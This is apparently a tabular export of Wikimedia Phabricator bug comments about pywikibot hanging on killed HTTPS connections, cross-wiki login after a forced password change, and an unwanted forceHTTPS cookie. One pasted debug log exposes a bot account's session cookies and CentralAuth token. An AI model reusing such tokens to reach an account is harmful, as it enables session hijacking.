+264313,core hangs on killed http(s) connection,"And with the latest two patches, this should also be fixed.",,,1391363592,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+264308,core hangs on killed http(s) connection,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Allow user to abort during http request
+
+https://gerrit.wikimedia.org/r/110867",,,1391363567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264303,core hangs on killed http(s) connection,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Allow user to cut off pending network requests at shutdown
+
+https://gerrit.wikimedia.org/r/110866",,,1391363536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+264298,core hangs on killed http(s) connection,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)",,,1391349874,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+264292,core hangs on killed http(s) connection,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Implement network timeouts
+
+https://gerrit.wikimedia.org/r/110853",,,1391349757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264287,core hangs on killed http(s) connection,"I tried this on _windows_ but I didn't got it hanging:
+
+Traceback (most recent call last):
+  File ""<pyshell#4>"", line 1, in <module>
+    resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
+    response = conn.getresponse()
+  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
+    response.begin()
+  File ""C:\Python27\lib\httplib.py"", line 407, in begin
+    version, status, reason = self._read_status()
+  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
+    line = self.fp.readline()
+  File ""C:\Python27\lib\socket.py"", line 430, in readline
+    data = recv(1)
+  File ""C:\Python27\lib\ssl.py"", line 241, in recv
+    return self.read(buflen)
+  File ""C:\Python27\lib\ssl.py"", line 160, in read
+    return self._sslobj.read(len)
+error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat",,,1391334920,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,22,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+264282,core hangs on killed http(s) connection,"Minimal test case for the SSL issue:
+
+import httplib2
+
+h = httplib2.Http()
+resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+raw_input(""kill the connection..."")
+resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+print ""done""
+
+
+So there are three issues:
+ - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
+ - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
+ - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)
+
+Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits...",,,1391290884,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+264275,core hangs on killed http(s) connection,"Change 108325 had a related patch set uploaded by Ladsgroup:
+[BUGFIX] fixing bug 55127
+
+https://gerrit.wikimedia.org/r/108325",,,1390135742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+264269,core hangs on killed http(s) connection,"Here are the last log entries before the bot hanged:
+
+2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
+2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
+2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
+2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
+2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
+{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
+2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
+2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
+2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)",,,1384929111,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+264263,core hangs on killed http(s) connection,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!,,,1382718207,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,8,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+264256,core hangs on killed http(s) connection,"Additional comment:
+pwb.py version
+
+Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
+OUTDATED)
+Release version: 2.0b1
+Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
+unicode test: ok",,,1382365689,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1
+264247,core hangs on killed http(s) connection,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:
+
+
+defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
+>> 05:20:37:
+
+defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
+>> 05:20:54:
+
+...
+a lot of lines deleted
+...
+>> 05:42:19:
+>> 05:42:33:
+...
+>> 05:53:41:
+>> 05:53:55:
+>> 05:54:10:
+>> 05:54:24:
+>> 05:54:38:
+>> 05:54:53:
+>> 05:55:07:
+>> 05:55:21:
+
+now it stops, CTL-C does not work, I have to kill the process via task manager.
+I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before.",,,1382365503,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+264238,core hangs on killed http(s) connection,- **Group**: confirmed --> rewrite,,,1380947353,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+264231,core hangs on killed http(s) connection,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.,,,1380947351,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+264227,core hangs on killed http(s) connection,- **Priority**: 5 --> 2,,,1380947350,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+264221,core hangs on killed http(s) connection,"Stack trace during hang:
+
+*** STACKTRACE - START ***
+
+
+# ThreadID: 140208457426688
+File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
+  self.__bootstrap_inner()
+File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
+  self.run()
+File: ""connectionkilltest.py"", line 16, in run
+  for filename, lineno, name, line in traceback.extract_stack(stack):
+
+# ThreadID: 140208472311552
+File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
+  self.__bootstrap_inner()
+File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
+  self.run()
+File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
+  item.data = self.http.request(*item.args, **item.kwargs)
+File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
+  max_redirects, connection_type
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
+  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
+  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
+  response = conn.getresponse()
+File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
+  response.begin()
+File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
+  version, status, reason = self._read_status()
+File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
+  line = self.fp.readline()
+File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
+  data = recv(1)
+File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
+  return self.read(buflen)
+File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
+  return self._sslobj.read(len)
+
+# ThreadID: 140208510514944
+File: ""pwb.py"", line 103, in <module>
+  run_python_file(fn, args)
+File: ""pwb.py"", line 49, in run_python_file
+  exec compile(source, filename, ""exec"") in main_mod.__dict__
+File: ""connectionkilltest.py"", line 36, in <module>
+  p.put_async('test edit')
+File: ""pywikibot/page.py"", line 887, in put_async
+  async=True, callback=callback, **kwargs)
+File: ""pywikibot/page.py"", line 872, in put
+  async=async, callback=callback, **kwargs)
+File: ""pywikibot/page.py"", line 782, in save
+  if not force and not self.botMayEdit():
+File: ""pywikibot/page.py"", line 710, in botMayEdit
+  username = self.site.user()
+File: ""pywikibot/site.py"", line 206, in user
+  if self.logged_in(True):
+File: ""pywikibot/site.py"", line 842, in logged_in
+  if sysop and 'sysop' not in self.userinfo['groups']:
+File: ""pywikibot/site.py"", line 910, in getuserinfo
+  uidata = uirequest.submit()
+File: ""pywikibot/data/api.py"", line 284, in submit
+  body=paramstring)
+File: ""pywikibot/comms/http.py"", line 118, in request
+  request.lock.acquire()
+File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
+  self.__cond.wait()
+File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
+  waiter.acquire()
+
+*** STACKTRACE - END ***
+
+
+So: probably not a deadlock, just the ssl library hanging.",,,1380947348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+56914,Login with the required password change doesn't log me in globally,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1380793140,1696629317.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4yoprjxsxryoacxktvyk,task_description,resolved,True,c2,3,False,False,False,5,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+2207569,Login with the required password change doesn't log me in globally,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step.",,,1696629317,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,527,True,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1196768,Login with the required password change doesn't log me in globally,@Piramidion: Please see and follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and report back here. Thanks!,,,1544893724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,276,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1
+1196751,Login with the required password change doesn't log me in globally,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?",,,1544890597,,PHID-USER-236lfjw5qszgahq5srnq,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,False,,,276,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+276864,Login with the required password change doesn't log me in globally,I haven't been able to get to it yet,,,1400026541,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,37,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+276857,Login with the required password change doesn't log me in globally,"(In reply to Chris Steipp from comment #4)
+> Platform has let me schedule some password work this quarter, which this
+> falls under. So March-ish is a good target.
+
+Chris: How did reality bite, and any new approx. timeframe? :)",,,1399878048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,36,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+276849,Login with the required password change doesn't log me in globally,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target.",,,1389291226,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,19,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0
+276844,Login with the required password change doesn't log me in globally,"(In reply to comment #2 by csteipp)
+> I'm planning to rework the patches we put in for this particular incident,
+> which will do the full SUL2 handshake after the login finishes.
+
+csteipp: Any vague timeframe (if this is still the plan)?",,,1389267605,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,19,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+276840,Login with the required password change doesn't log me in globally,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.
+
+I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes.",,,1380820150,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+276836,Login with the required password change doesn't log me in globally,"Logins using temporary password (""Reset your password"" feature) are also affected.",,,1380793429,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0
+56626,forceHTTPS session cookie placed even with HTTPS opt-out set,"Forced secure connection...again...[edit]
+
+Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)
+
+
+Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)
+
+
+I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using http://...however, as soon as I signed out and back in again, I was right back stuck on https://. This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)
+
+
+I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1380185580,1381853735.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yk4yz7wimv556d7eqmvv,task_description,resolved,True,c2,3,False,False,True,4,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+260243,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:
+
+I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887.",,,1382118210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+260238,forceHTTPS session cookie placed even with HTTPS opt-out set,Confirmed fixed in a Chrome private browser session with HTTPS disabled.,,,1381943703,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
